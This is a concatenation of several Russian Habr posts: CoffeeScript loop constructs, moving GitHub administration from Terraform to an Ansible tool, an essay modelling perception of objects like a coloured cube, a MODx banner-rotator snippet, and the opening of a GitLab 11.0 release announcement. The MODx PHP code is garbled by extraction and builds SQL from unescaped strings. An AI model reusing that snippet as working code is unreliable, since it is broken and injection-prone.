(foo === bar) { break; } } ``` #### Инструкция until Инструкция *until* аналогична инструкуции *while*, за одиним исключением, что в выражение добавляется отрицание. Это может быть полезно например для нахождения следующей позиции набора символов в строке: ``` expr = /foo/g; alert "#{array[0]} : #{expr.lastIndex}" until (array = expr.exec('foofoo')) is null ``` Рельтат трансляции: ``` var array, expr; expr = /foo*/g; while ((array = expr.exec('foofoo')) !== null) { alert("" + array[0] + " : " + expr.lastIndex); } //foo : 3, foo : 6 ``` Как видно из примера, цикл выполняется до тех пока результат выражения не станет равен нулю. #### Инструкция do-while Скажу сразу, что в *CoffeeScript* отсутствует реализация инструкции *do-while*. Однко с помощью нехитрых манипуляций эмитировать ее частичное поведение можно с помощью инструкции *loop*: ``` loop #... break if foo() ``` #### Методы массивов (filter, forEach, map и пр.) Как известно в *CoffeeScript* доступны абсолютно все те же методы, что и в *JavaSctipt*. Разбирать всю эту группу методов нет смысла, рассмотрим лишь общий принцип работы на примере метода *map()*. Создадим массив из трех элементов и возведем каждый из них в квадрат: ``` [1..3].map (i) -> i * i ``` Рельтат трансляции: ``` [1, 2, 3].map(function(i) { return i * i; }); ``` Рассмотрим еще один пример: ``` ['foo', 'bar'].map (value, i) -> "#{value} : #{i}" #foo : 0, bar : 1 ``` Вторым аргументом, метод *map* принимает контекст вызова: ``` var object = new function() { return [0].map(function() { return this }); }; // [Window map] ``` Как видите *this* внутри map указывает на *Window*, чтобы сменить контекст вызова, сделать это нужно явно: ``` var object = new function() { return [0].map(function() { return this; }, this); }; // [Object {}] ``` В *CoffeeScript* для этой цели предназначен специальный оператор *=>*: ``` object = new -> [0].map (i) => @ ``` Рельтат трансляции: ``` var object = new function() { var _this = this; return [0].map(function() { return _this; }, this); }; ``` Иными словами используйте эти методы массивов максимально, где это только возможно. Кроссбраузерную реализация этих методов я разместил на [github'e](https://github%0A.com/monolithed/ECMAScript-5/blob/master/Array.js) Реальный пример использования методов *map* и *filter* в *CoffeeScript*, также можно посмотреть в одном из моих проектов на [github'e](https://github.com/monolithed/toCSS/blob/master/CoffeeScript%20version/toCSS.coffee#L108-116) #### Инструкция do / Замыкания Как известно, в *JavaScript* активно используются [замыкания](http://en.wikipedia.org/wiki/Closure_%28computer_science%29), при этом *CoffeeScript* тоже не лишает нас этого удовольствия. Для создания анонимной самозавязывающейся функции в *CoffeeScript* используется инструкция *do*, котороая принимает произвольное число аргументов. Рассмотрим пример: ``` array = []; i = 2 while i-- then array[i] = do (i) -> -> i array[0]() #0 array[1]() #1 ``` Суть этого кода сводится к заполнению массива. При этом, элементы массива содержат не элементарные значения, а функции, каждая из которых возвращает индекс своего элемента. На *JavaScript* код выглядел бы так: ``` var array = [], i = 2; while (i--) { array[i] = function(i) { return function() { return i; }; }(i); } array[0]() //0 array[1]() //1 ``` #### Вложенные инструкции Вложенные инструкции особо ничем не отличаются от других инструкций и подчиняются тем же правилам: Для примера, заполним массив парными элементами от 1 до 3: ``` list = [] for i in [0..2] for j in [1..2] list.push i list # [0,0,1,1,2,2] ``` Как видите нет ничего сложного! Возможно у вас появится желание записать это в одну строчку. Что же, давайте теперь попробуем упростить запись: ``` list = [] for i in [0..2] then for j in [1..2] then list.push i ``` PS: лично я бы, не стал использовать такую запись, однако, вы должны знать, что так тоже допустимо писать, ведь рано или поздно вам придется работать с чужим кодом. А что если нужно добавить перед вторым циклом какое-то выражение? В качестве примера выведем три пары элементов от 0-3: ``` list = [] for i in [0..2] list.push i for j in [1..1] list.push i list #[0,0,1,1,2,2] ``` Это правильный вариант и особо улучшать здесь нечего. Записать все в одну строчку тоже не получится, потому что перед вторым циклом требуется явная идентация. А вот тело цикла можно записать в короткой нотации. ``` list = [] for i in [0..2] list.push i list.push i for j in [1..1] list #[0,1,2,3] ``` В третьей строке можно использовать как префиксную так и постфиксную форму записи. #### ECMASctipt 6 Как вы знаете, в будущем стандарте *ECMASctipt 6* планируется имплементировать генераторы, итераторы и возможно списочные выражения. А Firefox уже сейчас поддерживает большую часть драфтового стандарта. И дело в том, что будущий синтаксис ES6 практически более чем полностью не совместим с сегодняшним CoffeeScript. К примеру инструкция *for...of*, сейчас носит более общий характер нежели это нужно: ``` [value for key, value of [1,2,3]] ``` На выходе мы получим следующее ~~извращенство~~ : ``` var key, value; [ (function() { var _ref, _results; _ref = [1, 2, 3]; _results = []; for (key in _ref) { value = _ref[key]; _results.push(value); } return _results; })() ]; //[1, 2, 3] ``` Будущий стандарт дает возможность использовать итерацию через объекты, куда проще: ``` [for i of [1,2,3]] ``` Здорово, не правда ли? Также будет доступны генераторы выражений: ``` [i * 2 for each (i in [1, 2, 3])]; //2,4,6 ``` Возможным станет и такая запись: ``` [i * 2 for each (i in [1, 2, 3]) if (i % 2 == 0)]; //2 ``` Станут доступными итераторы: ``` var object = { a: 1, b: 2 }; var it = Iterator(lang); var pair = it.next(); //[a, 1] pair = it.next(); //[b, 2] ``` Итераторы также можно применять совместно с генераторами выражений: ``` var it = Iterator([1,2,3]); [i * 2 for (i in it)]; //1, 4, 6 ``` С выходом нового стандарта и многие фишки из *CoffeScript* перестанут быть таковыми, а разработчикам ядра очевидно предстоит очень много работы, чтобы чтобы удержать «сахарные» позиции. Пожелаем им удачи.
https://habr.com/ru/post/140764/
null
ru
null
# Управляя Github-ом: через Terraform к самописному решению на Ansible У нас 350+ человек и 400+ репозиториев на Github-е. В каждой репе может быть несколько админов, и они творят, что считают нужным, — естественно, случается так, что один человек не знает, что делает другой. Когда нам в инфре надоело смотреть на мучения других и добавлять/удалять людей вручную, мы решили, что перейдем централизованное управление, Infrastructure as Code. ![image](https://habrastorage.org/r/w780q1/webt/sy/mg/2q/symg2q1p3w6zlv5bfozjubw9oyi.jpeg) И в качестве платформы выбрали Terraform. «У меня есть кубики с буквами О, П, А…» --------------------------------------- На бумаге все выглядело гладко. Terraform популярен, будет нетрудно найти знающих его людей. У него есть состояние, и TF приводит ресурсы к соответствию — мы всегда сможем быть уверены, что реальная конфигурация именно такая, как её описали. И не надо больше лазить по Web UI — посмотрел в конфиг и всё увидел. **Мы упёрлись в лимиты гитхаба.** TF сначала читает **всё**, а потом меняет нужное. При наших размерах на это уходило около 20 минут, а до следующего изменения нужно было выждать час — мы упирались в лимиты Github-а на количество обращений к API. Чтобы решить проблемы с ограничениями, мы поделили всё управление на шесть частей: 1. Члены организации. 2. Репозитории. 3. Команды. 4. Состав команд. 5. Репозитории команд. 6. Коллабораторы. Теперь типичные операции стали выполнять в два захода.  Чтобы добавить нового разработчика, запускаем Terraform с разными параметрами: 1 и 4. Чтобы добавить новый репозиторий, выполняем 2 и 5. Это стало занимать довольно много времени: запустить TF один раз, вернуться через несколько минут, запустить повторно. Вернуться ещё раз — ответить автору запроса, что всё сделано. Или не сделано, если где-то в конфиге или пулл-реквесте закралась ошибка  Однажды принесли PR, где в нескольких местах вместо английской **c** была написана русская **с**. Отлавливать пришлось долго… **Да и синтаксис не зашел.** Описание чего угодно довольно многословное. Вот пример: ``` resource "github_membership" "membership_for_юзер" { username = "юзер" role = "member" } resource "github_team" "team_команда" { name = "команда" description = "" privacy = "closed" parent_team_id = "123456" } resource "github_team_membership" "team_команда_юзер_membership" { team_id = "${data.terraform_remote_state.teams.team_команда_id}" username = "юзер" role = "member" } resource "github_repository" "репа" { name = "репа" description = "" homepage_url = "" has_projects = false has_wiki = true has_issues = true has_downloads = true private = true archived = false topics = ["yii", "school", "mobile"] } resource "github_team_repository" "team_команда_repo_репа" { team_id = "${data.terraform_remote_state.teams.team_команда_id}" repository = "${data.terraform_remote_state.repos.repo_репа_name}" permission = "push" } resource "github_repository_collaborator" "репа_юзер_collaborator" { repository = "репа" username = "юзер" permission = "admin" } ``` При том, что такие вещи обычно копипастят, после чего *что-то* меняют, можно запросто это *что-то* недоменять или убрать лишнее.  Поставили минус вместо подчерка — и никто не заметит. Цена ошибки — минуты ожидания. Представьте себе дебаг с минутами между итерациями... Ссылаться на ресурсы по именам нельзя, можно только по id.  Ресурсы — репозитории — описываются в одном файле, а переменные с их id в другом.  Юзеры и команды аналогично.  Также лежат в разных местах параметры самого репозитория и список команд с доступом к нему. А коллабораторы где-то в третьем месте.  Типичный вопрос — у кого есть доступ к этой репе?  Попробуй собери всё в кучу. **Подход «посмотрел в конфиг и всё увидел» не сработал.**  Репозитории команд — это отношение «многие ко многим».  Всё в одном файле размером в тысячи строк.  Как отсортировать такой список?  По репозиториям?  По командам?  Никак.  Новые записи добавляют то в конец, то в середину.  Собрать полный список, у кого есть доступ в конкретную репу — это отдельная задача. Спустя месяцы после внедрения TF, особенно весело было узнавать, что какой-то репозиторий был сделан ~~втихую~~ вручную. И когда теперь понадобилось кому-то дать права, мы не можем это сделать. Ведь Terraform про него ничего не знает!  Разумеется, эту проблему тоже можно решить: удалить репу и сделать её снова средствами TF, или же как-то переинициализировать сам TF.  Но... Ёлки-иголки, что ж так сложно-то! --------------------------------- ![image](https://habrastorage.org/r/w780q1/webt/i8/fu/qw/i8fuqwcssvn1kegyunxkn8_2p-i.jpeg) Добавить человека в организацию — это всего одно обращение к API.  Дать права команде на репозиторий — аналогично. Наконец, когда Terraform просто стал падать на управлении составом команд со словами, что он хочет удалить 800 ресурсов, добавить 801 и почему-то не может это сделать, мы сели прикидывать, как оно могло бы быть в идеальном мире. * Изменения применяются точечно. * Простой синтаксис, понятный без чтения документации.  Без лишних слов вроде **resource**, **value** и без идентификаторов типа **123456**, которые непонятно, откуда брать. * Все параметры какой-то сущности — например, репозитория --  описаны в одном месте. * Одна репа / группа / организация — один файл. Перевели на YAML ---------------- ### Организация ``` skyeng:   name: Skyeng   admin:     - aleksandr.sergeich   member:     - andrey.vadimych     - denis.andreich     - mikhail.leonidych     - vladimir.nickolaich ``` ### Группа ``` qa-team:   privacy: secret   maintainer:     - denis.andreich   member:     - andrey.vadimych     - mikhail.leonidych     - vladimir.nickolaich ``` ### Репозиторий ``` alerta:   description: >-     Alerta monitoring system   homepage: https://alerta.io   teams:     admin:       - admin-team     push:       - dev-team       - qa-team   collaborators:     direct:       - denis.andreich     outside:       - william.shakespeare ``` Хотелось заюзать готовое решение, но не нашли — и написали своё --------------------------------------------------------------- Наверно, TF — это клёвая штука, но для нас оказался прокрустовым ложем…  И мы пошли реализовывать собственное видение на Ansible, который [активно используем](https://habr.com/ru/company/skyeng/blog/497432/) для управления инфраструктурой. Оно отрабатывает за считанные секунды: типичные изменения это всего несколько вызовов, для больших проектов — несколько десятков.  Легко делается CI/CD.  Параметры чего-либо собраны в один файл: изменения локальные, их просто отследить.  И теперь действительно получается заглянуть в файл и всё увидеть.  Ссылка на код в конце, а пока пара примеров. Теперь сделать новый репозиторий или обновить существующий можно так: ``` ansible-playbook gitwand.yml -e github_repos__state=present -e github_repos__include=my_repo ``` Сделать что-то с группой — вот так: ``` ansible-playbook gitwand.yml -e github_teams__state=present -e github_teams__include=my_team ``` Если надо обновить все группы, то просто не указываем параметр **github\_teams\_\_include**. **И ещё небольшой побочный эффект.**  У нас есть LDAP, и везде, где можно, мы берём юзеров и группы юзеров из него.  Логин человека состоит из имени и фамилии, и это лучше, чем ник, придуманный кем-то в бурной молодости и понятный только его владельцу.  Теперь у нас появилась возможность использовать эти же имена вместо ников на Github-е. Если хотите попробовать наше решение ------------------------------------ Оно лежит [здесь](https://github.com/skyeng/gitwand).
https://habr.com/ru/post/516192/
null
ru
null
# Математическая модель восприятия (Часть 3) [Часть 1](https://habrahabr.ru/post/282081/) [Часть 2](https://habrahabr.ru/post/282327/) **Предисловие** История знает примеры, когда открытия давались человечеству волей случая: так оно узнало об обжиге глины, порохе и резине, а вот кремниевый транзистор или полиэтилен вряд ли кому-нибудь удалось бы открыть случайно. Архитектор, проектируя мост, чтобы быть уверенным в надежности возводимой конструкции, обязан иметь хорошее представление о свойствах механических напряжений. Если Вы вдруг раздумываете над тем, как создать алгоритм, позволяющий машине самостоятельно ориентироваться в лесной чаще или без чьей-либо помощи изучать новые для нее предметы, возможно содержание следующей главы, посвященное понятиям "предмет" и "место", окажется для вас полезным. Читать ее без больших потерь можно независимо от предыдущих глав, [введение](https://habrahabr.ru/post/282081/) к части 1 поможет разъяснить некоторые детали. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ddc/66f/d60/ddc66fd60747788acc50b4cda7eedfad.jpg) *Escher: man with cuboid* #### **Предметы и места** Пожалуй, одним из самых простых примеров предмета может служить игральная карта с симметричной рубашкой. Чем же она является для нашего мышления? Уж точно не «картинкой» (цветовой конфигурацией) в стандартном положении: повернувшись, карта остается картой, в то время как картинка меняется. Вдобавок, карту, будь она в любом из положений, можно перевернуть вверх рубашкой. Ниже, на рисунке изображена связь между сменой способов видеть карту и возможными действиями над ней, где ↷ обозначает поворот на 90°, а ↻ — переворачивание карты рубашкой вверх. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/88c/889/020/88c8890209cf78bad291e0753ef65151.jpg) Следующий пример, который мы рассмотрим, — точка в «поле зрения» зонда. Фиксируем некоторый шестиугольник в области решетки, которую в настоящий момент обозревает зонд. Без ограничения общности можно считать его цвет черным. Если затем выполнять различные элементарные смещения, но так, чтобы этот шестиугольник все время оставался в «поле зрения», то между типами допустимых движений и сменой цветовых конфигураций установится закономерность, схематически изображенная на рис.31 ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/331/d6a/1a3/331d6a1a3ef52066a3287317aa162775.jpg) Для этих двух примеров характерно то, что предмет (или место) оказывается множеством «картинок» вместе с определенным для каждой «картинки» набором разрешенных действий. Так, пустой прозрачный стакан, стоящий на столе, можно сколько угодно поворачивать перед собой, при этом одни позиции видения стакана поворотами будут переводиться в другие, а стакан по-прежнему будет оставаться самим собой. В противоположность поворотам, сбросить стакан на твердый пол – разрешенным действием ни из какой позиции видения не является. Некоторые предметы, все же, аналогично игральной карте, «точке» и стакану определены быть не могут. По всей видимости, одним из наиболее идейно сложных предметов является куб с раскрашенными в разные цвета гранями (рис 32). ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/993/498/088/993498088110880b9de926275064208d.jpg) Будем также считать, что этот куб расположен относительно трех осей: вертикальной, продольной и поперечной, а взгляд направлен всегда вдоль продольной оси (рис 33). Наблюдателю разрешается поворачивать куб за раз на 90° вокруг любой из этих осей в любом направлении, однако в момент вращения он должен закрывать глаза, так что куб для него, по сути, есть множество наблюдаемых цветов, меняющихся от некоторых действий. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/017/800/f2f/017800f2f231406e076d47cd2cc0c8e8.jpg) Однако зависимость между действиями и сменой цветов оказывается несколько сложнее, чем в случае с положениями карты и черной точки: когда карта в горизонтальном положении рубашкой вниз, то единственное положение, которое она могла принять после разворота – вертикальное положение рубашкой вниз, с другой стороны, если наблюдатель видит черную грань куба, то только этим не определяется цвет грани, которая станет видимой после поворота «на себя». Распространенный прием, часто позволяющий вернуть подобным экспериментам однозначность, — помнить все время последовательность последних действий и цветов. К примеру, в случае когда наблюдаемая грань оказалась черной после того, как будучи зеленой был выполнен поворот влево, и с тех пор не производилось никаких действий, то выполненный в этих условиях поворот «на себя» заставить ее поменять свой цвет на синий. Но общем случае, даже если вы помните последовательность из миллиона последних действий и цветов, будь все эти цвета — черным, а действия – вращениями вокруг продольной оси, сама по себе память об этом не даст никакой возможности предугадать, какой же стороной предстанет перед вами куб после поворота на «на себя». По всей видимости, дать удовлетворительное определение понятию «предмет», охватывающее в том числе и случай куба, невозможно, если хорошо не разобраться с тонкостями процесса восприятия. Для этого, следуя общей логике изложения, представьте себе букет из трех ламп. Совместную историю изменения их состояний удобно изображать хронограммой (рис 34), на которой линия, идущая от каждой лампы, — суть копия оси времени, а жирные участки на ней – периоды, когда лампа горела. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c82/afa/a7f/c82afaa7f515212a03a24005f2ea9386.jpg) По отношению к моменту времени 4 на приведенной хронограмме можно сказать, что ``` лампа 1 не горит; лампа 2 горит; лампа 3 не горит. ``` По отношению же к моменту 1: ``` лампа 1 горит; лампа 2 гаснет; лампа 3 загорается. ``` «Горит», «не горит», «гаснет» или «загорается» конкретная лампа — является свойствами моментов времени, которое всегда установимы точно путем непосредственного наблюдения. Может случиться, что проявление таких непосредственно наблюдаемых свойств подчинено определённым закономерностям. К примеру, внимательное изучение хронограммы (моменты 1,1' ,1’’) приводят к наблюдению: I. всякий раз, когда лампа 1 горела, лампа 2 гасла, загоралась лампа 3; II. лампа 3 загоралась лишь в те моменты, когда гасла лампа 2 и при этом продолжала гореть лампа 1. Если подобные утверждения о непосредственно наблюдаемых свойствах считать относящимися исключительно к истории прошлого, тогда каждое из них этой историей либо доказывается, либо опровергается. С другой стороны, подмеченные закономерности часто предполагаются верными как по отношению к будущим наблюдениям, так и по отношению к прошлому в условном наклонении: скажем, каждый человек, живущий в средних широтах, уверен, что завтра утром снова встанет Солнце, а некоторые биологи утверждают, что если бы не происходило оледенений Земли, то динозавры жили бы и в наши дни. Какими бы обоснованными ни казались два последних предположения, доказать их невозможно: все они лишь гипотезы, так как ни одна закономерность, выполнявшаяся в прошлом, вовсе необязательно сохранятся в будущем и, уж тем в более, в случае альтернативного развития истории. Подобное положение дел, однако, — вовсе не повод отказывать от использования гипотез в своей практической деятельности, скорее просто нужно изменить наше отношение к ошибкам: они не есть что-то негативное, а всего лишь неотъемлемая сторона познавательной деятельности. Учитывая сделанные замечания, слегка переформулируем I) и II): I*. всякий раз, когда лампа 1 будет гореть (если бы горела), а лампа 2 погаснет (если бы погасла), загорается (загорелась бы) лампа 3; II*. лампа 3 может (могла бы) загореться лишь в те моменты, когда будет гореть (горела бы) лампа 1 и погаснет (погасла бы) лампа 2. Новый смысл понятия «закономерность», в котором оно оказывается приложенным как к будущему, так и к альтернативному ходу развития хронологии, позволяет выделить еще одну разновидность свойств моментов времени: свойства, наблюдаемые в качестве гипотез (гипотетически-наблюдаемые свойства). Например, свойство «ели бы погасла лампа 2, то в этот момент загорелась бы лампа 3» проявляется (доступно наблюдению) в моменты 1,1',1’’ и верно для всех моментов в качестве гипотезы, в которые горела лампа 1, если только верна гипотеза I\*). Понтия свойства и закономерности позволяют уточнить, чем же являлась карта и черная точка. Видеть картину в определенном положении или некоторому рецептору воспринимать черный цвет – свойства, доступные непосредственному наблюдению. Таким образом, и карта, и черная точка являются системой непосредственно наблюдаемых свойств и действий, связанных между собой закономерностями вида «всякий раз, когда выполнено свойство A и происходит действие B, вслед за этим оказывается выполненным свойство C». Попытаемся теперь понять, чем же является куб. Достаточно долго наблюдая за движениями и вызываемыми ими сменами цветов наблюдаемой грани, можно заметить, что всякий раз, когда желтый при повороте «на себя» меняется на черный, то следующее движение меняет цвет: a) Черный на синий, если это поворот «влево»; b) Черный на красный, если это поворот «вправо»; c) Черный на зеленый, если это поворот «на себя»; d) Черный на желтый, если это поворот «от себя»; e) Черный на черный, если это поворот вокруг продольной оси. Закономерность a: «при следующем движении, если это поворот «влево», черный меняется на синий» оказывается верной не только в описанной ситуации: она не нарушается еще, например, всякий раз после того, как красный при повороте «влево» меняется на черный, причем, тогда же оказываются верными и остальные b-e закономерности. Все эти закономерности – всего лишь гипотезы, но тем не менее, путем достаточно долгих наблюдений обнаружима еще одна закономерность-гипотеза: если вдруг установлена необходимость быть верной одной из a-d закономерностей, то верны и все остальные a-e. Свойство-гипотезу, являющуюся конъюнкцией a ⋀ b⋀ c⋀ d⋀ e, для свойства будем обозначать графическим символом: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/dd5/ddb/190/dd5ddb1908f97d9044c6c565e56526f3.jpg) Как нетрудно догадаться, для некоторого момента установить выполнение свойства эквивалентно возможности утверждать, что в этот момент куб, как геометрическое тело, обращен к наблюдателю черной гранью, при этом обратная сторона – белая, верхняя – зеленая, нижняя – желтая, левая – красная, а правая – синяя. Если же в качестве отправной точки рассуждений вместо свойства: «желтый при повороте «на себя» меняется на черный», взять: «зеленый при повороте «вправо» меняется на красный», то в итоге мы придем к свойству ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/2b5/0e3/8b5/2b50e38b58f1cce0fb5aa18e916ccb21.jpg) а взяв: «синий при повороте «от себя» меняется на черный» — к свойству: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/48e/9ac/646/48e9ac6466d82550f5745adc33a5386c.jpg) Эти свойства условимся называть свойствами ориентации. В каком бы положении, как геометрическое тело, ни находился куб, для каждого движения, будь-то «на себя», «от себя», «влево», «вправо» или поворот вокруг продольной оси, можно назвать правило, устанавливающее в каком положении он окажется после выполнения конкретного движения. Читатель может заметить, что каждому положению куба однозначно соответствует некоторое свойство ориентации, таким образом, мена свойств ориентации и производимые движения оказываются подчиненными в точности этим же правилам. Например, путем достаточно долгих наблюдений обнаружимы следующие закономерности: * всякий раз, когда можно утверждать (как гипотезу) справедливость свойства ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/dd5/ddb/190/dd5ddb1908f97d9044c6c565e56526f3.jpg) и следующим движением является поворот «против часовой» вокруг продольной оси, то вслед за его выполнением вплоть до очередного движения справедливо свойство ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/48e/9ac/646/48e9ac6466d82550f5745adc33a5386c.jpg) \*\* всякий раз, когда можно утверждать справедливость свойства ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/48e/9ac/646/48e9ac6466d82550f5745adc33a5386c.jpg) и следующим движением является поворот «от себя», то после его выполнения вплоть до очередного движения справедливо ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/447/7ab/a19/4477aba192c630720f7e8e30d32909b2.jpg) Все закономерности между свойствами ориентации, в которых фигурирует ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/dd5/ddb/190/dd5ddb1908f97d9044c6c565e56526f3.jpg) схематически изображены на рисунке 35. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/5ae/ef4/c86/5aeef4c86b32c5b8be23665ff51d4456.jpg) Дополнив схему на последнем рисунке остальными свойствами ориентации (их у куба всего 24), а также правилами между их сменой и выполняемыми движениями, получим ни что иное, как то, чем является раскрашенный куб для мышления наблюдателя в описанном эксперименте. В этой форме определение «куба» подобно определению «карты» и «точки», за единственным исключением: вместо наблюдаемых непосредственно свойств в нем участвуют свойства, наблюдаемые гипотезно. Сергей Коваленко Дубна 2015-2016 Изначально предполагалось всего три части, но последняя глава "Роль языка в механизмах формирования существенно новых понятий", стремясь быть просто и понятно написанной, в конце концов обрела слишком большой объем. Я надеюсь опубликовать ее примерно через пару недель
https://habr.com/ru/post/283370/
null
ru
null
# Делаем собственную баннерную крутилку Делаем функционал, который позволит: 1. В одном месте хранить все баннеры 2. Выставлять страницы на которых будет показан баннер 3. Соблюдать лимит показа 4. Указывать для баннера адрес назначения (URL) Будет точно работать на 0.9.6.3 (на версиях выше ничего не предвещает проблем), по времени интеграция должна занять около получаса, в зависимости от вашей подкованности при работе с MODx. Необходимы начальные навыки работы с MODx и понимание терминов: сниппет (snippet), TV в контексте этой CMF. На все предметные вопросы с удовольствием отвечу. Начнем: Поделим всю интеграцию на несколько шагов: 1. Создаем сниппет **Banner** > `php<br/ > if (!function\_exists('setTemplateVar')) { > > function setTemplateVar($value, $docID, $tplVarName) { > >   global $modx; > > > >   //-- get tmplvar id > >   $tplName = $modx->getFullTableName('site\_tmplvars'); > >   $tplRS = $modx->db->select('id', $tplName, 'name="' . $tplVarName . '"'); > >   $tplRow = $modx->db->getRow($tplRS); > > > >   $tblName = $modx->getFullTableName('site\_tmplvar\_contentvalues'); > > > >   $selectQuery = $modx->db->select('\*', $tblName, 'contentid=' . $docID . ' AND tmplvarid=' . $tplRow['id']); > > > >   $updFields = array ( > >    'value' => $value > >   ); > >   $insFields = array ( > >    'tmplvarid' => $tplRow['id'], > >    'contentid' => $docID, > >    'value' => $value > >   ); > > > >   if ($modx->db->getRecordCount($selectQuery) < 1) { > >    $modx->db->insert($insFields, $tblName); > >   } else { > >    $modx->db->update($updFields, $tblName, 'contentid=' . $docID . ' AND tmplvarid=' . $tplRow['id']); > >   } > >  } > > } > > > > /\*\*/ > > > > $vault = 234;//ID ветки с баннерами > > > > $children= $modx->getActiveChildren($vault, 'menuindex', 'ASC'); > > if (!$children === false) { > > > > $allBanners = $modx->getDocumentChildrenTVarOutput($vault, array('pages','fileBanner','counter','linkToURL')); > > > > foreach($allBanners as $idBannerPage=>$banner) > > { > >   $pages = explode(',',$banner['pages']); > >     if((in\_array($modx->documentIdentifier,$pages) || in\_array('-1',$pages)) && ($banner['counter']>0 || $banner['counter'] == '-1')) > >     { > >       $path\_info = pathinfo(MODX\_BASE\_PATH.$banner['fileBanner']); > >       switch($path\_info['extension']){ > >         case 'swf':         > >           echo ' > >            > >           <br/> >           // <![CDATA[<br/> >           var so = new SWFObject("/'</font>.$banner[<font color="#A31515">'fileBanner'</font>].<font color="#A31515">'?clickTag='</font>.$banner[<font color="#A31515">'linkToURL'</font>].<font color="#A31515">'", "company\_right", "214", "308", "7", "#FFFFFF");<br/> >           so.write("productsSecondaryPromo");<br/> >           // ]]><br/> >         ';break; > >         default: echo '['linkToURL']('</font>.$banner[<font color=)].'">![]('</font>.$modx->getConfig(<font color=)'base\_url').$banner['fileBanner'].'" alt="" border="0">';    > > > >       } > >       if($banner['counter'] !== '-1' && (int)$banner['counter']>0){ setTemplateVar($banner['counter']-1, $idBannerPage, 'counter');} > >     } > >     unset($banner); > > } > > } > > ?> > > > > \* This source code was highlighted with Source Code Highlighter.` 2. Создаем следующие TV параметры (все, что я не упомянул ниже — оставляем по-умолчанию): **counter**, в ниспадающем списке «Тип ввода» выбираем *Number*. Значение по умолчанию выставляем *-1*. Выбираем шаблон. Сохранить. **fileBanner**, в ниспадающем списке «Тип ввода» выбираем *File*. Выбираем шаблон. Сохранить. **linkToURL**, в ниспадающем списке «Тип ввода» выбираем *URL*. Выбираем шаблон. Сохранить. **pages**, в ниспадающем списке «Тип ввода» выбираем *Listbox (Multi-Select)*. В поле «Возможные значения» пишем: *@SELECT pagetitle,CONCAT(id,',') FROM site\_content WHERE id NOT IN (2,3,4,5,6,7,8,9,10,11,234) ORDER BY menuindex* Значение по умолчанию выставляем *-1*. Выбираем шаблон. Сохранить. 3. Создание хранилища баннеров Теперь переходим в дерево документов и создаем новый документ с именем «БАННЕРЫ», устанавливаем галочку на «Контейнер (содержит дочерние документы)». Теперь найдите в коде сниппета переменную **$vault** и присвойте ей ID только что созданного документа (контейнера). В моем случае это ID 234 ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/325/f6a/225/325f6a2250e8fcf310b44d4d6966b544.jpg)
https://habr.com/ru/post/66277/
null
ru
null
# Вышел GitLab 11.0: Auto DevOps и управление лицензиями ![Картинка для привлечения внимания](https://about.gitlab.com/images/11_0/gitlab-11-0-released-cover.jpg) Создание качественного ПО — непростой процесс. Во-первых, нужно решать бизнес-проблемы и писать качественный код. Однако, на этом сложности не заканчиваются: нужно еще удостовериться в том, что ваш код работает быстро, безопасно и надежно. Работа с кодом — это конвейер из множества этапов, таких как сборка, интеграция, тестирование, обеспечение безопасности, ревью, настройка и развертывание. На выполнение всех этих действий уходит много времени и сил. Помимо предоставления возможностей совместной работы на публичных и приватных репозиториях, GitLab также упрощает весь процесс разработки при помощи обширного встроенного, а с этой версии — еще и автоматизированного, набора инструментов. Просто сделайте коммит своего кода, и [**Auto DevOps**](https://about.gitlab.com/auto-devops) займется всем остальным. Auto DevOps — это заранее собранный полноценный CI/CD конвейер, который позволяет автоматизировать весь процесс поставки. Auto DevOps выходит в общий доступ (GA, General Availability) в GitLab 11.0. Другие ключевые нововведения GitLab 11.0: * **Управление лицензиями**, которое автоматически находит лицензии по зависимостям ваших проектов; * Улучшенное **тестирование безопасности** вашего кода, контейнеров и зависимостей; * Новые возможности интеграции с **Kubernetes**; * Улучшенное **Web IDE**; * Улучшенное отображение **эпиков и дорожных карт**; * **Инкрементное развертывание**; * А также многое другое. Для начала, давайте поподробнее пройдемся по этому списку. **[Auto DevOps](#auto-devops-vyhodit-v-obschiy-dostup-core-starter-premium-ultimate-free-bronze-silver-gold) покрывает весь цикл поставки:** Просто сделайте коммит вашего кода в GitLab и позвольте Auto DevOps заняться остальным: эта система проведет [сборку](https://docs.gitlab.com/ee/topics/autodevops/#auto-build), [тестирование](https://docs.gitlab.com/ee/topics/autodevops/#auto-test), проверку [качества кода](https://docs.gitlab.com/ee/topics/autodevops/#auto-code-quality), [безопасности](https://docs.gitlab.com/ee/topics/autodevops/#auto-sast) и [лицензий](https://docs.gitlab.com/ee/topics/autodevops/#auto-license-management), [пакетирование](https://docs.gitlab.com/ee/topics/autodevops/#auto-review-apps), [тестирование производительности](https://docs.gitlab.com/ee/topics/autodevops/#auto-dast), [развертывание](https://docs.gitlab.com/ee/topics/autodevops/#auto-deploy) и [мониторинг](https://docs.gitlab.com/ee/topics/autodevops/#auto-monitoring) вашего приложения. > «GitLab является ключевым компонентом в наших процессах разработки и поставки, благодаря чему мы увеличили нашу скорость поставки в четыре раза и серьезно упростили процесс совместной разработки в наших командах» — говорит Chris Hill, ведущий системный инженер информационно-развлекательного подразделения в Jaguar Land Rover. > > > > «Мы очень довольны Auto DevOps, поскольку он позволяет нам сфокусироваться на написании кода и бизнес-процессах. Всем остальным занимается GitLab: автоматические сборки, тестирование, развертывание и даже мониторинг нашего приложения.» **[Управление лицензиями](#upravlenie-licenziyami-ultimate-gold) (анализ компонентов ПО):** Зачастую, программное обеспечение представляет собой сложное переплетение кода со сторонними компонентами (библиотеками, фреймворками и различными инструментами). Как правило, у каждого компонента имеются лицензионные ограничения и разрешения, которые нужно отслеживать и учитывать. В GitLab 11.0 мы добавляем функциональность Управления Лицензиями (анализа компонентов ПО). Она будет встроенной в мерж-реквесты, откуда 